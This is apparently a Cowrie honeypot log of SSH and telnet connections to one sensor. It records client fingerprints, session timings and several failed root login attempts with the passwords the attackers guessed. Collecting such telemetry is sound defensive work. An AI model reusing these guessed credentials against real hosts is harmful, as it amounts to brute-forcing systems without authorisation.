{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42254,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03c37a29b1b","protocol":"ssh","message":"New connection: 103.27.238.116:42254 (159.203.135.109:22) [session: f03c37a29b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:07.341624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:07.346694Z","src_ip":"103.27.238.116","session":"f03c37a29b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.1183226108551,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:07.389294Z","src_ip":"152.42.224.71","session":"fe3336e92744","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:07.626912Z","src_ip":"103.27.238.116","session":"f03c37a29b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gabriel","message":"login attempt [root/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:08.467889Z","src_ip":"103.27.238.116","session":"f03c37a29b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:09.752291Z","src_ip":"103.27.238.116","session":"f03c37a29b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40744,"dst_ip":"10.17.0.5","dst_port":23,"session":"a08fb6bae969","protocol":"telnet","message":"New connection: 152.42.224.71:40744 (10.17.0.5:23) [session: a08fb6bae969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:11.805119Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":51702,"dst_ip":"10.17.0.5","dst_port":22,"session":"d378ddfe4bf1","protocol":"ssh","message":"New connection: 81.9.145.130:51702 (10.17.0.5:22) [session: d378ddfe4bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:15.162850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:15.170195Z","src_ip":"81.9.145.130","session":"d378ddfe4bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:15.298224Z","src_ip":"81.9.145.130","session":"d378ddfe4bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fh123","message":"login attempt [root/fh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:15.794334Z","src_ip":"81.9.145.130","session":"d378ddfe4bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:16.914056Z","src_ip":"81.9.145.130","session":"d378ddfe4bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49462,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16540122047","protocol":"telnet","message":"New connection: 152.42.224.71:49462 (10.17.0.5:23) [session: d16540122047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:18.997789Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49474,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa55337dac47","protocol":"telnet","message":"New connection: 152.42.224.71:49474 (10.17.0.5:23) [session: aa55337dac47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:22.950872Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36982,"dst_ip":"10.17.0.5","dst_port":22,"session":"974f229cab06","protocol":"ssh","message":"New connection: 77.94.47.83:36982 (10.17.0.5:22) [session: 974f229cab06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:25.582466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:25.586634Z","src_ip":"77.94.47.83","session":"974f229cab06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:25.714494Z","src_ip":"77.94.47.83","session":"974f229cab06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eeeeee","message":"login attempt [root/eeeeee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:26.261717Z","src_ip":"77.94.47.83","session":"974f229cab06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.42763113975525,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:26.765888Z","src_ip":"152.42.224.71","session":"2fa9be6db890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:27.393287Z","src_ip":"77.94.47.83","session":"974f229cab06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.012872219085693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:32.515305Z","src_ip":"152.42.224.71","session":"570af9e305bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":42504,"dst_ip":"10.17.0.5","dst_port":22,"session":"9685820a76c7","protocol":"ssh","message":"New connection: 182.93.50.90:42504 (10.17.0.5:22) [session: 9685820a76c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:35.672709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:35.677233Z","src_ip":"182.93.50.90","session":"9685820a76c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:35.897486Z","src_ip":"182.93.50.90","session":"9685820a76c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rori","message":"login attempt [root/rori] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:36.809405Z","src_ip":"182.93.50.90","session":"9685820a76c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:38.033644Z","src_ip":"182.93.50.90","session":"9685820a76c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.721696376800537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:43.526705Z","src_ip":"152.42.224.71","session":"a08fb6bae969","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.164.177.12","src_port":55710,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a7a05209d24","protocol":"telnet","message":"New connection: 45.164.177.12:55710 (10.17.0.5:23) [session: 1a7a05209d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:45.462175Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":38046,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ff1ce040a1","protocol":"ssh","message":"New connection: 89.108.118.91:38046 (10.17.0.5:22) [session: 68ff1ce040a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:48.465719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:48.469758Z","src_ip":"89.108.118.91","session":"68ff1ce040a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:48.625154Z","src_ip":"89.108.118.91","session":"68ff1ce040a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:49.039934Z","src_ip":"89.108.118.91","session":"68ff1ce040a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:50.180539Z","src_ip":"89.108.118.91","session":"68ff1ce040a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.99834156036377,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:53.513702Z","src_ip":"152.42.224.71","session":"7e90d4e4a41d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43702,"dst_ip":"10.17.0.5","dst_port":23,"session":"86210c225979","protocol":"telnet","message":"New connection: 152.42.224.71:43702 (10.17.0.5:23) [session: 86210c225979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:55.208508Z"}
{"eventid":"cowrie.session.closed","duration":13.44788932800293,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:05:58.909755Z","src_ip":"45.164.177.12","session":"1a7a05209d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57462,"dst_ip":"10.17.0.5","dst_port":23,"session":"73085e7e23ff","protocol":"telnet","message":"New connection: 152.42.224.71:57462 (10.17.0.5:23) [session: 73085e7e23ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:01.751664Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38850,"dst_ip":"10.17.0.5","dst_port":23,"session":"f88dc68990eb","protocol":"telnet","message":"New connection: 152.42.224.71:38850 (10.17.0.5:23) [session: f88dc68990eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:09.402565Z"}
{"eventid":"cowrie.session.closed","duration":54.50731325149536,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:13.505000Z","src_ip":"152.42.224.71","session":"d16540122047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54216,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29bf0437b89","protocol":"telnet","message":"New connection: 152.42.224.71:54216 (10.17.0.5:23) [session: d29bf0437b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:22.535251Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.94.9.55","src_port":42504,"dst_ip":"159.203.135.109","dst_port":22,"session":"05af08f4fce0","protocol":"ssh","message":"New connection: 172.94.9.55:42504 (159.203.135.109:22) [session: 05af08f4fce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:22.660661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:22.867014Z","src_ip":"172.94.9.55","session":"05af08f4fce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:23.053686Z","src_ip":"172.94.9.55","session":"05af08f4fce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54230,"dst_ip":"10.17.0.5","dst_port":23,"session":"8948b13d1fcd","protocol":"telnet","message":"New connection: 152.42.224.71:54230 (10.17.0.5:23) [session: 8948b13d1fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:25.766221Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60306,"dst_ip":"10.17.0.5","dst_port":23,"session":"35afce6c7f71","protocol":"telnet","message":"New connection: 152.42.224.71:60306 (10.17.0.5:23) [session: 35afce6c7f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:25.896836Z"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:31.673125Z","src_ip":"172.94.9.55","session":"05af08f4fce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00583076477051,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:36.369410Z","src_ip":"152.42.224.71","session":"089b2389ea8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48232,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a36991495d","protocol":"telnet","message":"New connection: 152.42.224.71:48232 (10.17.0.5:23) [session: 31a36991495d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:38.048043Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48242,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfcc769ff2a0","protocol":"telnet","message":"New connection: 152.42.224.71:48242 (10.17.0.5:23) [session: dfcc769ff2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:42.681618Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40112,"dst_ip":"10.17.0.5","dst_port":23,"session":"057f27970a92","protocol":"telnet","message":"New connection: 152.42.224.71:40112 (10.17.0.5:23) [session: 057f27970a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:47.403381Z"}
{"eventid":"cowrie.session.closed","duration":41.68047857284546,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:51.082888Z","src_ip":"152.42.224.71","session":"f88dc68990eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40116,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af59da32c90","protocol":"telnet","message":"New connection: 152.42.224.71:40116 (10.17.0.5:23) [session: 1af59da32c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:51.978374Z"}
{"eventid":"cowrie.session.closed","duration":62.54189372062683,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:57.750283Z","src_ip":"152.42.224.71","session":"86210c225979","protocol":"telnet"}
